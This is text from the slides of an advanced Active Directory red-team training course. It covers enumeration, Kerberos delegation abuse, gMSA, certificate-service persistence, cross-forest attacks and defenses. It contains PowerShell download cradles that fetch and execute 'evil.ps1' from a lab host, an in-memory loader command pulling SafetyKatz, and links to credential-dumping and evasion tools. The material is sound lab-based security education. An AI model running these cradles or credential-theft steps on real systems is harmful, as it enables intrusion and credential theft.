AD Advanced Notes
AD Advanced Notes
https://t.me/CyberBankSa
https://t.me/CyberBankSa >-- ﺟﻤﻴﻊ اﻟﺤﻘﻮق ﻣﺤﻔﻮﻇﺔ ﻟﻤﺒﺎدرة اﻟﺒﻨﻚ اﻟﺴﻴﺒﺮاﻧﻲ
About me
• Twitter - @chiragsavla94
• Career - Senior Security Researcher at Altered Security
• Blog - https://3xpl01tc0d3r.blogspot.com/
• GitHub - https://github.com/3xpl01tc0d3r
• Creator of Open Source tools such as Process Injection, Callidus, etc.
• Interested in Offensive side of security such as penetration testing, red
teaming, azure, active directory security, and post-exploitation research.
• Spoken at multiple conferences and local meetups.
Course Content
• Introduction to Active Directory
• Introduction to Attack methodology and tradecraft
• Domain Enumeration (Attacks and Defense)
• Enumerating information that would be useful in attacks with leaving minimal
footprint on the endpoints
• Understand and practice what properties and information to look for when
preparing attack paths to avoid detection
• Enumerate trust relationships within and across forests to map cross trust attack
paths
• Learn and practice escalating to local administrator privileges in the domain by
abusing OU Delegation, Restricted Groups, LAPS, Nested group membership and
hunting for privileges using remote access protocols
• Credential Replay Attacks
Course Content
• Evading application whitelisting (WDAC)
• Domain Privilege Escalation by abusing Unconstrained Delegation.
Understand how unconstrained delegation is useful in compromising
multiple high privilege servers and users in AD
• Abusing Constrained Delegation for Domain Privilege Escalation by
impersonating high privilege accounts
• Using ACL permissions to abuse Resource-based Constrained Delegation
• Domain Persistence Techniques
Course Content
• Advanced Cross Domain attacks. Learn and practice attacks that allow
escalation from Domain Admins to Enterprise Admins by abusing MS
Products and delegation issues.
• User / Computer account take over by leveraging Shadow Credentials.
• Lateral movement from on-prem to Azure AD by attacking Hybrid
Identity infrastructure.
• Advanced Cross Forest attacks. Execute attacks like abuse of Kerberoast,
SID Filtering misconfigurations etc. across forest trusts forests and
understand the nuances of such attacks.
Course Content
• Abusing SQL Server for cross forest attacks
• More on advanced Cross Forest attacks like abuse of Foreign Security
Principals, ACLs etc.
• Abusing PAM trust and shadow security principals to execute attacks
against a managed forests.
• Detections and Defenses (Red Forest, JEA, PAW, LAPS, Selective Auth,
Deception, App Whitelisting, MDI, Tiered Administration)
• Bypassing defenses like Advanced Threat Analytics, Protected Users
Group, WDAC etc.
Goal
• The training expects knowledge of Active Directory security and familiarity
with Windows command line.
• This course introduces a concept, demonstrates how an attack can be
executed and then have Learning Objective section where students can
practice in the lab.
• The lab, like a real world red team operation, forces you to use built-in tools
as long as possible and focus on functionality abuse. So, in this course, we will
NOT use any exploits and exploitation framework.
• We start from a foothold box as a normal domain user.
• Everything is not in the slides :)
Word of Caution
• In scope:
– 192.168.1.0/24 – 192.168.102.0/24, 192.168.100.X
– 192.168.1.199-192.168.1.200 are NOT in scope.
• Everything else is NOT in scope.
• Attacking out of scope machines may result in disqualification from the
class.
• Please treat the lab network as a dangerous environment and take care
of yourself!
Active Directory
• Directory Service used to managed Windows networks.
• Stores information about objects on the network and makes it easily
available to users and admins.
• "Active Directory Domain Services (AD DS) enables centralized, secure
management of an entire network, which might span a building, a city
or multiple locations throughout the world."
https://docs.microsoft.com/en-us/previous-versions/windows/it-
pro/windows-server-2003/cc780036(v=ws.10)
https://technet.microsoft.com/en-us/library/cc780036(v=ws.10).aspx
• A forest – which is a
security boundary –
may contain multiple
domains and each
domain may contain
multiple OUs.
Tools
• C/C++/C# - Public code
• PowerShell - Built-in cmdlets, Microsoft Signed Modules, PowerShell
Remoting, Public scripts and Custom scripts.
• Windows native executables
$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1
');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
PowerShell and AD
• [ADSI]
• .NET Classes
System.DirectoryServices.ActiveDirectory
• Native Executable
• WMI using PowerShell
• ActiveDirectory Module
PowerShell Detections
• System-wide transcription
• Script Block logging
• AntiMalware Scan Interface (AMSI)
• Constrained Language Mode (CLM) - Integrated with Applocker and
WDAC (Device Guard)
PowerShell Tradecraft
• Offensive PowerShell is not dead.
• The detections depend on your target organization and if you are using
customized code.
• There are bypasses and then there are obfuscated bypasses!
• Remember, the focus of the class is Active Directory :)
https://github.com/OmerYa/Invisi-
Shell/blob/master/InvisiShellProfier/InvisiShellProfiler.cpp
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-
api/profiling/profiling-overview
• Type exit from the new PowerShell session to complete the clean-up.
"It is more likely that an organization has already been compromised, but just
hasn't discovered it yet."
Domain Enumeration
• For enumeration we can use the following tools
− The ActiveDirectory PowerShell module (MS signed and works even in PowerShell CLM)
https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps
https://github.com/samratashok/ADModule
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
− PowerView (PowerShell)
https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
. C:\AD\Tools\PowerView.ps1
https://janikvonrotz.ch/2015/09/09/deploy-powershell-activedirectory-module-
without-installing-the-remote-server-tools/
https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-
PowerShell-CLM.html
Find-GPOComputerAdmin -OUName
'OU=Mgmt,DC=us,DC=techcorp,DC=local'
Above command from the older PowerView version works fine
Reference: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-
control-model
Reference: https://docs.microsoft.com/en-us/windows/win32/secauthz/interaction-
between-threads-and-securable-objects
Reference: https://docs.microsoft.com/en-us/windows/win32/secauthz/dacls-and-
aces
Reference: https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx
Privilege Escalation
• In an AD environment, there are multiple scenarios which lead to privilege escalation. We had a look
at the following
– Hunting for Local Admin access on other machines
– Hunting for high privilege domain accounts (like a Domain Administrator)
• Let's also look for Local Privilege Escalation.
Privilege Escalation
• Let's start actively looking for ability to access other users or machines in the domain. This will be a
mix of Privilege escalation, Admin Recon and Lateral movement.
https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%
20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-
%20Tim%20Medin%281%29.pdf
Reference: http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/
https://github.com/gentilkiwi/mimikatz
Unofficial mimikatz guide:
https://adsecurity.org/?p=2207
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-
find-credentials-in-them
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1
https://github.com/b4rtik/SharpKatz
https://github.com/outflanknl/Dumpert
https://github.com/Flangvik/BetterSafetyKatz
https://github.com/GhostPack/SafetyKatz
https://github.com/deepinstinct/Lsass-Shtinkering
https://github.com/skelsec/pypykatz
https://github.com/Hackndo/lsassy
https://github.com/SecureAuthCorp/impacket/
https://github.com/FSecureLABS/physmem2profit
https://github.com/deepinstinct/Lsass-Shtinkering
https://github.com/GhostPack/Rubeus/
https://github.com/gentilkiwi/mimikatz
https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/O
ut-CompressedDll.ps1
We will find the new obfuscated binary in the Confused folder under the Base
Directory.
• We also have AssemblyLoad.exe that can be used to load the NetLoader in-
memory from a URL which then loads a binary from a filepath or URL.
C:\Users\Public\AssemblyLoad.exe
http://192.168.100.X/Loader.exe -path
http://192.168.100.X/SafetyKatz.exe
https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-
accounts/group-managed-service-accounts-overview
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
Golden gMSA
• gMSA password is calculated by leveraging the secret stored in KDS root key object.
• We need following attributes of the KDS root key to compute the Group Key Envelope (GKE) :
– cn
– msKds-SecretAgreementParam
– msKds-RootKeyData
– msKds-KDFParam
– msKds-KDFAlgorithmID
– msKds-CreateTime
– msKds-UseStartTime
– msKds-Version
– msKds-DomainID
– msKds-PrivateKeyLength
– msKds-PublicKeyLength
– msKds-SecretAgreementAlgorithmID
https://www.semperis.com/blog/golden-gmsa-attack/
Golden gMSA
• Once we compute the GKE for the associated KDS root key we can
generate the password offline.
• Only privilege accounts such as Domain Admins, Enterprise Admins or
SYSTEM can retrieve the KDS root key.
• Once the KDS root key is compromised we can’t protect the associated
gMSAs accounts.
• Golden gMSA can be used to retrieve the information of gMSA account,
KDS root key and generate the password offline.
https://www.semperis.com/blog/golden-gmsa-attack/
https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
http://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-
kerberos-unconstrained-delegation.html
https://adsecurity.org/?p=1667
http://blogs.msdn.com/b/autz_auth_stuff/archive/2011/05/03/kerberos-
delegation.aspx
http://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-
kerberos-unconstrained-delegation.html
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-
active-directory/41
https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-
trusts/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
efsr/08796ba8-01c8-4872-9221-1000ec2eff31
https://github.com/p0dalirius/Coercer
https://github.com/ShutdownRepo/ShadowCoerce
https://github.com/Wh04m1001/DFSCoerce
https://github.com/crisprss/magicNetdefs
https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-
Kerberos-Sorry-You-Guys-Don%27t-Get-It.pdf
http://passing-the-hash.blogspot.com/2014/09/pac-validation-20-minute-rule-
and.html
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
https://www.trustedsec.com/blog/a-diamond-in-the-ruff/
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
https://www.trustedsec.com/blog/a-diamond-in-the-ruff/
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-
malware-analysis/
https://adsecurity.org/?p=1785
https://adsecurity.org/?p=1714
https://msdn.microsoft.com/en-
us/library/windows/desktop/aa380502(v=vs.85).aspx
https://attack.mitre.org/wiki/Technique/T1101
https://docs.microsoft.com/en-us/previous-versions/technet-
magazine/ee361593(v=msdn.10)
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-
practices/appendix-c--protected-accounts-and-groups-in-active-directory
https://adsecurity.org/?p=1906
https://www.ossir.org/paris/supports/2017/2017-04-11/2017-04-
11_Active_directory_v2.5.pdf
https://gallery.technet.microsoft.com/Invoke-SDPropagator-to-c99ae41c
Reference: https://msdn.microsoft.com/en-
us/library/windows/desktop/aa374928(v=vs.85).aspx
https://github.com/samratashok/RACE
https://github.com/samratashok/nishang/tree/master/Backdoors
https://blogs.msdn.microsoft.com/wmi/2009/07/20/scripting-wmi-namespace-
security-part-1-of-3/
https://github.com/HarmJ0y/DAMP
https://posts.specterops.io/remote-hash-extraction-on-demand-via-host-security-
descriptor-modification-2cf505ec5c40
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2012-r2-and-2012/hh831740(v=ws.11)
Enrolee can Any Request an Overly Poor access EDITF_ATTRI Poor access NTLM relay
request cert purpose or enrollment permissive control on BUTESUBJE control on to HTTP
for ANY no EKU agent ACLs on CA server, CTALTNAME roles on CA enrollment
user (potentially certificate templates CA server 2 setting on authority like endpoints
dangerous) and use it to computer CA - "CA
request cert object etc. Request Administrato
on behalf of certs for r" and
ANY user ANY user "Certificate
Manager"
Domain DPERSIST1 DPERSIST2 DPERSIST3
Persistence
Forge Malicious Backdoor
certificates root/interm CA Server,
with stolen ediate CAs CA server
CA private computer
keys object etc.
INE | AlteredSecurity AD Attacks - Advanced © 2023 Altered Security. 254
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-
for-takeover-8ee1a53566ab
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
https://blog.xpnsec.com/azuread-connect-for-redteam/
https://adsecurity.org/?p=1588
• Tickets for other services (like HOST and RPCSS for WMI, HTTP for
PowerShell Remoting and WinRM) can be created as well.
ls \\techcorp-dc.techcorp.local\c$
ls \\techcorp-dc.techcorp.local\c$
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-
my/
https://adsecurity.org/?p=1588
• Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for
PowerShell Remoting and WinRM) can be created as well.
• Use the TGS to access the target resource which must be explicitly shared:
.\kirbikator.exe lsa CIFS.euvendor-
dc.euvendor.local.kirbi
ls \\euvendor-dc.euvendor.local\eushare\
Hands-on 26
• Get a reverse shell on a db-sqlsrv in db.local forest by abusing database
links from us-mssql.
https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-
and-management/protected-users-security-group
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-
configure-protected-accounts#BKMK_AddtoProtectedUsers
https://docs.microsoft.com/en-us/previous-versions/mt227395(v=msdn.10)
– Tier 0 – Accounts, Groups and computers which have privileges across the enterprise like domain
controllers, domain admins, enterprise admins. .
– Tier 1 - Accounts, Groups and computers which have access to resources having significant amount of
business value. A common example role is server administrators who maintain these operating systems with
the ability to impact all enterprise services.
– Tier 2 - Administrator accounts which have administrative control of a significant amount of business value
that is hosted on user workstations and devices. Examples include Help Desk and computer support
administrators because they can impact the integrity of almost any user data.
https://technet.microsoft.com/en-us/windows-server-docs/security/securing-
privileged-access/securing-privileged-access-reference-material#ESAE_BM
ESAE
https://www.blackhat.com/docs/us-15/materials/us-15-Moore-Defeating%20Pass-
the-Hash-Separation-Of-Powers-wp.pdf
https://docs.microsoft.com/en-us/defender-for-identity/
https://docs.microsoft.com/en-us/defender-for-identity/understanding-security-
alerts
https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-MicrosoftATA-
for-ActiveDirectory-Domination.pdf
Get-WinEvent -FilterHashtable
@{Logname='Security';ID=4672} -MaxEvents 1 | Format-List
–Property *
https://technet.microsoft.com/en-us/library/cc755321(v=ws.10).aspx
Thank you
• Please provide feedback.
• Follow me @chiragsavla94
• [email protected]
• For our other courses, please visit -
https://bootcamps.pentesteracademy.com/
• For other labs: https://www.pentesteracademy.com/redlabs
• For lab access/extension/support, please contact :
[email protected]